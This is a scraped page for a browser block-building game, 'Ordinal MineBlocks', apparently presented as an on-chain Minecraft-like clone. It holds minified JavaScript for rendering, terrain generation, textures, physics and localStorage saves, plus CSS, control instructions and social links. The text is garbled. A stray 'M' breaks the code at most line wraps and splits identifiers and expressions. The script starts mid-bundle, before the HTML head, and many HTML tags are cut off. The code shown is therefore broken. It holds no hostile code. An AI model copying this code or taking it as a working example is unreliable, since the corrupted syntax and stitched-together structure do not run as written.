;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
